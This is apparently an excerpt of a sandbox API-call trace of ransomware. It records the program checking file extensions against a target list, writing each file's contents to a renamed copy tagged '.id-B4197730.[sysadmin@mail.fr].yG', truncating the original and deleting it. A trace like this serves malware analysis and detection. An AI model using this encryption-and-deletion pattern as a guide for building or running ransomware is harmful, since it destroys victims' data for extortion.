	[0044.341] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38
	[0044.341] lstrlenW (lpString=".jpg") returned 4
	[0044.341] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.341] lstrcmpiW (lpString1=".msi", lpString2=".yG") returned -1
	[0044.341] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16
	[0044.341] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.342] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=94720) returned 1
	[0044.342] CloseHandle (hObject=0x2f8) returned 1
	[0044.342] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80
	[0044.342] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.342] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0044.342] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.342] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.342] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0044.342] GetLastError () returned 0x0
	[0044.342] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x17200, lpOverlapped=0x0) returned 1
	[0044.443] WriteFile (in: hFile=0x2fc, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x17210, lpOverlapped=0x0) returned 1
	[0044.445] ReadFile (in: hFile=0x2f8, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.445] WriteFile (in: hFile=0x2fc, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf4, lpOverlapped=0x0) returned 1
	[0044.445] SetEndOfFile (hFile=0x2fc) returned 1
	[0044.447] CloseHandle (hObject=0x2fc) returned 1
	[0044.450] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.450] SetEndOfFile (hFile=0x2f8) returned 1
	[0044.451] CloseHandle (hObject=0x2f8) returned 1
	[0044.452] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.452] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1
	[0044.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.452] lstrlenW (lpString=".doc") returned 4
	[0044.452] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.452] lstrlenW (lpString=".docx") returned 5
	[0044.452] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0044.453] lstrlenW (lpString=".pdf") returned 4
	[0044.453] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.453] lstrlenW (lpString=".xls") returned 4
	[0044.453] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.453] lstrlenW (lpString=".xlsx") returned 5
	[0044.453] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0044.453] lstrlenW (lpString=".ppt") returned 4
	[0044.453] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.453] lstrlenW (lpString=".zip") returned 4
	[0044.453] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.453] lstrlenW (lpString=".rar") returned 4
	[0044.453] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.453] lstrlenW (lpString=".bz2") returned 4
	[0044.453] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.453] lstrlenW (lpString=".7z") returned 3
	[0044.453] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.453] lstrlenW (lpString=".dbf") returned 4
	[0044.453] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.453] lstrlenW (lpString=".1cd") returned 4
	[0044.453] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.453] lstrlenW (lpString=".jpg") returned 4
	[0044.453] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.453] lstrlenW (lpString=".doc") returned 4
	[0044.453] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0044.453] lstrlenW (lpString=".docx") returned 5
	[0044.453] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0044.453] lstrlenW (lpString=".pdf") returned 4
	[0044.453] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0044.454] lstrlenW (lpString=".xls") returned 4
	[0044.454] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0044.454] lstrlenW (lpString=".xlsx") returned 5
	[0044.454] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0044.454] lstrlenW (lpString=".ppt") returned 4
	[0044.454] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0044.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.454] lstrlenW (lpString=".zip") returned 4
	[0044.454] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0044.454] lstrlenW (lpString=".rar") returned 4
	[0044.454] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0044.454] lstrlenW (lpString=".bz2") returned 4
	[0044.454] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0044.454] lstrlenW (lpString=".7z") returned 3
	[0044.454] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0044.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.454] lstrlenW (lpString=".dbf") returned 4
	[0044.454] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0044.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.454] lstrlenW (lpString=".1cd") returned 4
	[0044.454] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0044.454] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38
	[0044.454] lstrlenW (lpString=".jpg") returned 4
	[0044.454] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0044.454] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0044.454] lstrlenW (lpString="Setup.exe") returned 9
	[0044.454] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.456] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=78152) returned 1
	[0044.456] CloseHandle (hObject=0x300) returned 1
	[0044.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80
	[0044.456] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.456] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.456] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.456] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0044.457] GetLastError () returned 0x0
	[0044.457] ReadFile (in: hFile=0x300, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x13148, lpOverlapped=0x0) returned 1
	[0044.481] WriteFile (in: hFile=0x2f4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0x13150, lpOverlapped=0x0) returned 1
	[0044.484] ReadFile (in: hFile=0x300, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.484] WriteFile (in: hFile=0x2f4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xe6, lpOverlapped=0x0) returned 1
	[0044.484] SetEndOfFile (hFile=0x2f4) returned 1
	[0044.484] CloseHandle (hObject=0x2f4) returned 1
	[0044.487] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.487] SetEndOfFile (hFile=0x300) returned 1
	[0044.490] CloseHandle (hObject=0x300) returned 1
	[0044.490] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.490] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1
	[0044.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.490] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString=".doc") returned 4
	[0044.491] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0044.491] lstrlenW (lpString=".docx") returned 5
	[0044.491] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0044.491] lstrlenW (lpString=".pdf") returned 4
	[0044.491] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0044.491] lstrlenW (lpString=".xls") returned 4
	[0044.491] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0044.491] lstrlenW (lpString=".xlsx") returned 5
	[0044.491] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0044.491] lstrlenW (lpString=".ppt") returned 4
	[0044.491] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0044.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString=".zip") returned 4
	[0044.491] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0044.491] lstrlenW (lpString=".rar") returned 4
	[0044.491] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0044.491] lstrlenW (lpString=".bz2") returned 4
	[0044.491] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0044.491] lstrlenW (lpString=".7z") returned 3
	[0044.491] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0044.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString=".dbf") returned 4
	[0044.491] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0044.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString=".1cd") returned 4
	[0044.491] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0044.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString=".jpg") returned 4
	[0044.491] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0044.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.491] lstrlenW (lpString=".doc") returned 4
	[0044.491] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0044.491] lstrlenW (lpString=".docx") returned 5
	[0044.492] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1
	[0044.492] lstrlenW (lpString=".pdf") returned 4
	[0044.492] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0044.492] lstrlenW (lpString=".xls") returned 4
	[0044.492] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0044.492] lstrlenW (lpString=".xlsx") returned 5
	[0044.492] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1
	[0044.492] lstrlenW (lpString=".ppt") returned 4
	[0044.492] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0044.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.492] lstrlenW (lpString=".zip") returned 4
	[0044.492] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0044.492] lstrlenW (lpString=".rar") returned 4
	[0044.492] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0044.492] lstrlenW (lpString=".bz2") returned 4
	[0044.492] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0044.492] lstrlenW (lpString=".7z") returned 3
	[0044.492] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0044.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.492] lstrlenW (lpString=".dbf") returned 4
	[0044.492] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0044.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.492] lstrlenW (lpString=".1cd") returned 4
	[0044.492] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0044.492] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31
	[0044.492] lstrlenW (lpString=".jpg") returned 4
	[0044.492] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0044.492] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0044.492] lstrlenW (lpString="SetupEngine.dll") returned 15
	[0044.492] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.493] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=807256) returned 1
	[0044.493] CloseHandle (hObject=0x300) returned 1
	[0044.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 0x80
	[0044.493] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.493] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.493] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.493] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0044.493] GetLastError () returned 0x0
	[0044.493] ReadFile (in: hFile=0x300, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0xc5158, lpOverlapped=0x0) returned 1
	[0044.508] WriteFile (in: hFile=0x2f4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xc5160, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xc5160, lpOverlapped=0x0) returned 1
	[0044.519] ReadFile (in: hFile=0x300, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.519] WriteFile (in: hFile=0x2f4, lpBuffer=0x4064020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesWritten=0x33afc94*=0xf2, lpOverlapped=0x0) returned 1
	[0044.519] SetEndOfFile (hFile=0x2f4) returned 1
	[0044.520] CloseHandle (hObject=0x2f4) returned 1
	[0044.613] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.613] SetEndOfFile (hFile=0x300) returned 1
	[0044.619] CloseHandle (hObject=0x300) returned 1
	[0044.619] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.620] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupEngine.dll" (normalized: "c:\\588bce7c90097ed212\\setupengine.dll")) returned 1
	[0044.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.623] lstrlenW (lpString=".doc") returned 4
	[0044.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0044.623] lstrlenW (lpString=".docx") returned 5
	[0044.623] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0044.623] lstrlenW (lpString=".pdf") returned 4
	[0044.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0044.623] lstrlenW (lpString=".xls") returned 4
	[0044.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0044.623] lstrlenW (lpString=".xlsx") returned 5
	[0044.623] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0044.623] lstrlenW (lpString=".ppt") returned 4
	[0044.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0044.623] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.623] lstrlenW (lpString=".zip") returned 4
	[0044.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0044.623] lstrlenW (lpString=".rar") returned 4
	[0044.623] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0044.623] lstrlenW (lpString=".bz2") returned 4
	[0044.623] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0044.623] lstrlenW (lpString=".7z") returned 3
	[0044.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString=".dbf") returned 4
	[0044.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString=".1cd") returned 4
	[0044.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString=".jpg") returned 4
	[0044.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString=".doc") returned 4
	[0044.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString=".docx") returned 5
	[0044.624] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0044.624] lstrlenW (lpString=".pdf") returned 4
	[0044.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString=".xls") returned 4
	[0044.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString=".xlsx") returned 5
	[0044.624] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0044.624] lstrlenW (lpString=".ppt") returned 4
	[0044.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString=".zip") returned 4
	[0044.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString=".rar") returned 4
	[0044.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0044.624] lstrlenW (lpString=".bz2") returned 4
	[0044.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0044.624] lstrlenW (lpString=".7z") returned 3
	[0044.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0044.624] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.624] lstrlenW (lpString=".dbf") returned 4
	[0044.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0044.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.625] lstrlenW (lpString=".1cd") returned 4
	[0044.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0044.625] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37
	[0044.625] lstrlenW (lpString=".jpg") returned 4
	[0044.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0044.625] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0044.625] lstrlenW (lpString="SetupUtility.exe") returned 16
	[0044.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.625] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=96088) returned 1
	[0044.625] CloseHandle (hObject=0x300) returned 1
	[0044.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80
	[0044.625] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.625] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0044.625] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.625] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.626] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0044.626] GetLastError () returned 0x0
	[0044.626] ReadFile (in: hFile=0x300, lpBuffer=0x4064020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x4064020*, lpNumberOfBytesRead=0x33afecc*=0x17758, lpOverlapped=0x0) returned 1
